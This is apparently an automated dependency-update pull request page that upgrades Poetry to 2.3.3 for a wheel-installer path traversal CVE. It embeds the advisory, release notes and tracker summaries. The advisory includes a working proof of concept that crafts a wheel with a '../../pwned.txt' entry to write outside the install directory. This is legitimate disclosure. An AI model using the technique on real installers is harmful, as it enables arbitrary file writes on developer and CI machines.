build(deps): update dependency poetry to v2.3.3 [security] (main)
Metadata
Current evaluation
Automatically merged by Renovate bot to upgrade poetry from v2.3.2 to v2.3.3, resolving CVE-2026-34591 path traversal vulnerability in the wheel installer. PR was approved and passed CI checks.
Suggested action: —
No scores available.
Issue body
This PR contains the following updates:
| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [poetry](https://redirect.github.com/python-poetry/poetry) ([changelog](https://python-poetry.org/history/)) | `2.3.2` → `2.3.3` |  |  |
### GitHub Vulnerability Alerts
#### [CVE-2026-34591](https://redirect.github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp)
### Summary
A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.
### Impact
Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.
### Patches
Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.
### Details
Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:
src/poetry/installation/wheel_installer.py:47
src/poetry/installation/wheel_installer.py:59
The vulnerable sink is reachable in normal installation:
src/poetry/installation/executor.py:607
No resolve() + is_relative_to() style guard is enforced before writing.
### POC
```
from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination
root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
d.mkdir(parents=True, exist_ok=True)
files = {
"evil/__init__.py": b"",
"../../pwned.txt": b"owned\n",
"evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
"evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()
with zipfile.ZipFile(wheel, "w") as z:
for k,v in files.items(): z.writestr(k,v)
dest = WheelDestination(
{"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
install(src, dest, {"INSTALLER": b"PoC"})
out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)
```
---
### Release Notes
<details>
<summary>python-poetry/poetry (poetry)</summary>
### [`v2.3.3`](https://redirect.github.com/python-poetry/poetry/blob/HEAD/CHANGELOG.md#233---2026-03-29)
[Compare Source](https://redirect.github.com/python-poetry/poetry/compare/2.3.2...2.3.3)
##### Fixed
- **Fix a path traversal vulnerability in the wheel installer that could allow malicious wheel files to write files outside the intended installation directory** ([#​10792](https://redirect.github.com/python-poetry/poetry/pull/10792)).
- Fix an issue where `git` dependencies from annotated tags could not be updated ([#​10719](https://redirect.github.com/python-poetry/poetry/pull/10719)).
- Fix an issue where empty `VIRTUAL_ENV` or `CONDA_PREFIX` environment variables (e.g., after `conda deactivate`) would cause Poetry to incorrectly detect an active virtualenv ([#​10784](https://redirect.github.com/python-poetry/poetry/pull/10784)).
- Fix an issue where an incomprehensible error message was printed when `.venv` was a file instead of a directory ([#​10777](https://redirect.github.com/python-poetry/poetry/pull/10777)).
- Fix an issue where HTTP Basic Authentication credentials could be corrupted during request preparation, causing authentication failures with long tokens ([#​10748](https://redirect.github.com/python-poetry/poetry/pull/10748)).
- Fix an issue where `poetry publish --no-interaction --build` requested user interaction ([#​10769](https://redirect.github.com/python-poetry/poetry/pull/10769)).
- Fix an issue where `poetry init` and `poetry new` created a deprecated `project.license` format ([#​10787](https://redirect.github.com/python-poetry/poetry/pull/10787)).
##### Docs
- Clarify the differences between `poetry install` and `poetry update` ([#​10713](https://redirect.github.com/python-poetry/poetry/pull/10713)).
- Clarify the section of fields in the `pyproject.toml` examples ([#​10753](https://redirect.github.com/python-poetry/poetry/pull/10753)).
- Add a note about the different installation location when Python from the Microsoft Store is used ([#​10759](https://redirect.github.com/python-poetry/poetry/pull/10759)).
- Fix the system requirements for Poetry ([#​10739](https://redirect.github.com/python-poetry/poetry/pull/10739)).
- Fix the `poetry cache clear` example ([#​10749](https://redirect.github.com/python-poetry/poetry/pull/10749)).
- Fix the link to `pipx` installation instructions ([#​10783](https://redirect.github.com/python-poetry/poetry/pull/10783)).
##### poetry-core ([`2.3.2`](https://redirect.github.com/python-poetry/poetry-core/releases/tag/2.3.2))
- Fix an issue where `platform_release` could not be parsed on Debian Trixie ([#​930](https://redirect.github.com/python-poetry/poetry-core/pull/930)).
- Fix an issue where using `project.readme.text` in the `pyproject.toml` file resulted in broken metadata ([#​914](https://redirect.github.com/python-poetry/poetry-core/pull/914)).
- Fix an issue where dependency groups were considered equal when their resolved dependencies were equal, even if the groups themselves were not ([#​919](https://redirect.github.com/python-poetry/poetry-core/pull/919)).
- Fix an issue where removing a dependency from a group that included another group resulted in other dependencies being added to the included group ([#​922](https://redirect.github.com/python-poetry/poetry-core/pull/922)).
- Fix an issue where PEP 735 `include-group` entries were lost when `[tool.poetry.group]` also defined `include-groups` for the same group ([#​924](https://redirect.github.com/python-poetry/poetry-core/pull/924)).
- Fix an issue where the union of `<value> not in <marker>` constraints was wrongly treated as always satisfied ([#​925](https://redirect.github.com/python-poetry/poetry-core/pull/925)).
- Fix an issue where a post release with a local version identifier was wrongly allowed by a `>` version constraint ([#​921](https://redirect.github.com/python-poetry/poetry-core/pull/921)).
- Fix an issue where a version with the local version identifier `0` was treated as equal to the corresponding public version ([#​920](https://redirect.github.com/python-poetry/poetry-core/pull/920)).
- Fix an issue where a `!= <version>` constraint wrongly disallowed pre releases and post releases of the specified version ([#​929](https://redirect.github.com/python-poetry/poetry-core/pull/929)).
- Fix an issue where `in` and `not in` constraints were wrongly not allowed by specific compound constraints ([#​927](https://redirect.github.com/python-poetry/poetry-core/pull/927)).
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" in timezone Etc/UTC, Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/canonical/charmcraft).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xMDIuNyIsInVwZGF0ZWRJblZlciI6IjQzLjEwMi43IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJQUjogRGVwZW5kZW5jaWVzIl19-->
Evaluation history
| Date | Model | Scores | Action | Summary |
|---|---|---|---|---|
| qwen/qwen3.6-35b-a3b | — | — | Automatically merged by Renovate bot to upgrade poetry from v2.3.2 to v2.3.3, resolving CVE-2026-34591 path traversal vulnerability in the wheel installer. PR was approved and passed CI checks. | |
| qwen3.6-35b-a3b-mtp-q6 | — | — | Auto-merged into main, upgrading poetry to 2.3.3 to resolve CVE-2026-34591 path traversal vulnerability. Renovate bot applied the security update. Minor type checking warnings were logged but required no action. | |
| qwen3.6-35b-a3b-mtp-q6 | — | — | Merged automated dependency update upgrading poetry to v2.3.3 to resolve CVE-2026-34591, a path traversal vulnerability in the wheel installer. Type checking warnings were noted as non-blocking. |
Update history
No update history recorded yet.
Related issues
| Issue | Project | State | Summary | Similarity |
|---|---|---|---|---|
| #2628 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.2) | charmcraft | merged | Merged automated update upgrading poetry from v2.3.2 to v2.3.3. This resolves CVE-2026-34591, a path traversal vulnerability in the wheel installer allowing arbitrary file writes. Auto-merged after passing CI checks. | |
| #1169 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/1.17) - autoclosed | rockcraft | closed | Renovate PR updating Poetry to v2.3.3 for CVE-2026-34591 was autoclosed without merging. The security update was abandoned. | |
| #2626 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.0) | charmcraft | closed | Dependency update to poetry v2.3.3 addressing CVE-2026-34591 was closed without merging. The change was abandoned, and Renovate will skip this version until a newer release appears. | |
| #2625 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/3.5) - autoclosed | charmcraft | closed | Renovate-generated PR to update poetry to v2.3.3 for CVE-2026-34591 security patch was autoclosed without merging. The dependency update was abandoned. | |
| #1168 build(deps): update dependency poetry to v2.3.3 [security] (main) - autoclosed | rockcraft | closed | Renovate autoclosed the poetry v2.3.3 security update after snap-tests failed in CI. The dependency was not merged, leaving the repository unpatched against CVE-2026-34591. | |
| #2627 build(deps): update dependency poetry to v2.3.3 [security] (hotfix/4.1) | charmcraft | closed | Closed without merging. The security update to Poetry v2.3.3 was abandoned. Renovate will ignore this version and automatically generate a replacement PR for a newer release. | |
| #2629 build(deps-dev): bump poetry from 2.3.2 to 2.3.3 | charmcraft | closed | Closed as a duplicate of PR #2624. Dependabot acknowledged the closure and will skip future notifications. The dependency update was handled in the referenced PR. | |
| #2189 build(deps): update bugfixes (main) | charmcraft | merged | Merged automated patch updates for 16 dependencies via Renovate, including numpy, poetry, pylint, and ruff-pre-commit. Upgrades resolve reported bugs and improve stability. All required CI checks passed, triggering automatic merge. | |
| #348 build(deps): update dependency requests to v2.33.0 [security] (main) | craft-store | merged | Merged automated dependency update upgrading requests from 2.32.4 to 2.33.0 to resolve CVE-2026-25645. Approved by reviewers, passed CI checks, and merged into main. | |
| #1516 build(deps): update dependency requests to v2.33.0 [security] (main) | craft-parts | merged | Merged automated dependency update upgrading requests from 2.32.5 to 2.33.0 to patch CVE-2026-25645. Approved by two reviewers, passed CI validation, and merged into main. |